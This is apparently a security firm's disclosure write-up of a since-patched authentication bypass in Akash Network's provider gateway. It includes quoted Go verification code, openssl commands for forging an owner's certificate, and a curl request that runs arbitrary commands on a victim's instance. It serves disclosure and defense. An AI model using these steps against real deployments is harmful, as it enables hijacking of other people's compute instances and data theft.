Patch Thursday — Finding a Critical Vulnerability in Akash Network

Summary

In May 2024, ChainLight identified a critical vulnerability in Akash Network, a decentralized cloud computing platform built on the Cosmos ecosystem. The vulnerability allows an attacker to impersonate a deployment owner on the network, granting them unauthorized access to execute arbitrary commands on any instance. This report will provide an overview of the vulnerability, demonstrate the exploit with source code, assess its impact, and recommend a solution.

Brief Introduction of Akash Network

Akash Network is a P2P computational resource marketplace that allows individuals to trade their computational resources in the form of Docker container images on the marketplace. Akash Network consists of four layers.

• Blockchain Layer: Similar to the case of the Render Network, the blockchain layer of Akash Network primarily handles payments using AKT tokens and is also used for governance, among other things. Blockchain layer also communicates with the providers for resource allocation and access control management.
• Application Layer: An intermediary between buyers and sellers. When a buyer submits detailed specifications for computational resources, sellers bid on them in a reverse auction manner.
• Provider Layer: The layer where computational resource sellers are located. Sellers communicate with the Akash blockchain through the Daemon provided by Akash and process resource allocation requests.
• User Layer: The layer where computational resource buyers are located. Buyers make resource purchase requests to the Akash Network through a CLI environment or web app and deploy their applications.

Apart from the blockchain layer, it can be seen as having a structure very similar to other P2P cloud platforms. However, Akash Network offers relatively competitive pricings compared to commercial cloud services such as AWS through the tokenomics of the blockchain layer.

Vulnerability Details

The vulnerability lies in the authentication process used to verify ownership of instances on the Akash Network. The process relies solely on the common name and serial number in the TLS certificates, rather than the certificate fingerprints themselves.

The authentication process in NewServerTLSConfig function of Akash Network is as follows:

1. User creates a certificate and submits it to the blockchain.

// https://github.com/akash-network/provider/blob/2859d54685c435b2c893b6997cd94cf4efd04a75/gateway/utils/utils.go#L16-L24

func NewServerTLSConfig(ctx context.Context, certs []tls.Certificate, cquery ctypes.QueryClient) (*tls.Config, error) {
 // InsecureSkipVerify is set to true due to inability to use normal TLS verification
 // certificate validation and authentication performed in VerifyPeerCertificate
 cfg := &tls.Config{
  Certificates:       certs,
  ClientAuth:         tls.RequestClientCert,
  InsecureSkipVerify: true, // nolint: gosec
  MinVersion:         tls.VersionTLS13,
  VerifyPeerCertificate: func(certificates [][]byte, _ [][]*x509.Certificate)

2. The user initiates the mTLS connection with the provider and specifies the client certificate they submitted.

// https://github.com/akash-network/provider/blob/2859d54685c435b2c893b6997cd94cf4efd04a75/gateway/utils/utils.go#L25-L39

error {
   if len(certificates) > 0 {
    if len(certificates) != 1 {
     return errors.Errorf("tls: invalid certificate chain")
    }

    cert, err := x509.ParseCertificate(certificates[0])
    if err != nil {
     return errors.Wrap(err, "tls: failed to parse certificate")
    }

    // validation
    var owner sdk.Address
    if owner, err = sdk.AccAddressFromBech32(cert.Subject.CommonName); err != nil {
     return errors.Wrap(err, "tls: invalid certificate's subject common name")
    }

3. The provider verifies the client certificate and retrieves the owner from the certificate.

3–1. It verifies that the common name matches the issuer (i.e., Root CA) and subject (i.e., End Entity Certificate).

// https://github.com/akash-network/provider/blob/2859d54685c435b2c893b6997cd94cf4efd04a75/gateway/utils/utils.go#L41-L44

    // 1. CommonName in issuer and Subject must match and be as Bech32 format
    if cert.Subject.CommonName != cert.Issuer.CommonName {
     return errors.Wrap(err, "tls: invalid certificate's issuer common name")
    }

3–2. It then verifies that the serial number of the client certificate matches the serial number of the certificate registered by the original owner.

// https://github.com/akash-network/provider/blob/2859d54685c435b2c893b6997cd94cf4efd04a75/gateway/utils/utils.go#L46-L62

    // 2. serial number must be in
    if cert.SerialNumber == nil {
     return errors.Wrap(err, "tls: invalid certificate serial number")
    }
    
    // 3. look up certificate on chain
    var resp *ctypes.QueryCertificatesResponse
    resp, err = cquery.Certificates(
     ctx,
     &ctypes.QueryCertificatesRequest{
      Filter: ctypes.CertificateFilter{
       Owner:  owner.String(),
       Serial: cert.SerialNumber.String(),
       State:  "valid",
      },
     },
    )

4. Registered client certificates are added to clientCertPool, and get verified if the certificate is issued by the certificate in the clientCertPool.

// https://github.com/akash-network/provider/blob/2859d54685c435b2c893b6997cd94cf4efd04a75/gateway/utils/utils.go#L70-L82

    clientCertPool := x509.NewCertPool()
    clientCertPool.AddCert(cert)
    
    opts := x509.VerifyOptions{
     Roots:                     clientCertPool,
     CurrentTime:               time.Now(),
     KeyUsages:                 []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth},
     MaxConstraintComparisions: 0,
    }
    
    if _, err = cert.Verify(opts); err != nil {
     return errors.Wrap(err, "tls: unable to verify certificate")
    }

Since the provider does not verify if the fingerprints between the client certificate and the registered certificate are the same, the exploiter could impersonate the original owner by creating a self-signed certificate.

Exploit Details

To exploit this vulnerability, the exploiter can follow these steps:

1. Generate a self-signed root CA certificate with the target owner’s address as the common name:

openssl genrsa -out rootCA.key 2048 openssl req -x509 -new -nodes -key rootCA.key -sha256 -days 3650 -out rootCA.pem -subj "/CN=<target_owner_address>"

2. Generate a client certificate signed by the self-signed root CA:

openssl genrsa -out client.key 2048 openssl req -new -key client.key -out client.csr -subj "/CN=<target_owner_address>"  openssl x509 -req -in client.csr -CA rootCA.pem -CAkey rootCA.key -CAcreateserial -out client.crt -days 1095 -sha256

3. Obtain the serial number of the target owner’s valid certificate:

<https://api.akashnet.net/akash/cert/v1beta3/certificates/list?filter.state=valid&filter.owner=<target_owner_address>>

4. Set the serial number of the generated client certificate to match the target owner’s certificate:

echo '<target_serial_number>' > serial.txt openssl x509 -req -in client.csr -CA rootCA.pem -CAkey rootCA.key -CAserial serial.txt -out client.crt -days 1095 -sha256

5. Use the generated client certificate to impersonate the target owner and execute arbitrary commands on their instances:

curl -k -v '<https://<provider_address>>:8443/lease/<dseq>/<gseq>/<oseq>/shell?stdin=0&tty=1&podIndex=0&cmd0=<command>&cmd1=<argument>&service=<service_name>' -X POST --cert client.crt --key client.key

Impact

This vulnerability allows an attacker to impersonate a deployment owner on the Akash Network. By doing so, the attacker can bypass the requireOwner check and execute arbitrary commands on any instance, as well as access logs and other sensitive information. This poses a significant security risk to the platform and its users, potentially leading to system compromise. For AI blockchain projects such as Akash Network, unauthorized access to the user assets can result critical impacts as AI models and their train data can be leaked. Regarding the vulnerability, Akash Network rewarded us $AKT as a bug bounty.

Below is a brief timeline of the vulnerability identification and resolution.

2024.04.23 Started analyzing the Akash codebase
2024.04.26 ChainLight published a research article including analysis on Akash
2024.04.28 Identified a critical vulnerability in Akash codebase
2024.04.29 Reported the issue to Upbit with the bug report
2024.05.01 Akash patched the vulnerability and deployed fix to the production
2024.05.25 Akash team sent ChainLight $AKT as bug bounty rewards

Recommended Solution

To mitigate this vulnerability, it is crucial that the server verifies the requested certificate matches the certificate created by the owner using MsgCreateCertificate. This can be achieved by comparing the certificate fingerprints between the certificate provided by the client (cert) and the certificate registered on the blockchain (resp.Certificates[0]). Implementing the additional verification step will ensure that only legitimate owners can manage their instances, preventing unauthorized access and command execution.

Conclusion

The ownership authentication bypass vulnerability in the Akash Network poses a severe security risk, allowing attackers to impersonate owners and execute arbitrary commands on instances. By exploiting this vulnerability, exploiters could gain unauthorized access to sensitive data and compromise the integrity of the platform.

While this ownership authentication bypass presented a major threat, Akash Network responded swiftly to resolve the vulnerability and protect customer assets. Upbit, the leading Korean CEX that lists $AKT on its spot exchange, have also provided a great support on communicating with Akash Network. Akash Network’s rapid response and commitment to security, combined with strong partnerships in the ecosystem, enabled them to mitigate risks and safeguard their community.

As mentioned in the previous research on AI blockchain projects, decentralized computation infrastructures should dedicatedly manage access controls of computation resources, as the compromise of the system can lead to severe usability & data security issues for all the connected users.

About ChainLight

Patch Thursday is ChainLight’s report introducing and analyzing vulnerabilities discovered and reported by our award-winning security researchers. With the mission to assist security researchers and developers in collectively learning, growing, and contributing to making Web3 a safer place, we release our report every week, free of charge.

To receive the latest research and reports conducted by award-winning experts:

👉 Subscribe to our newsletter

👉 Follow @ChainLight_io

Established in 2016, ChainLight’s award-winning experts provide tailored security solutions to fortify your smart contract and help you thrive on the blockchain.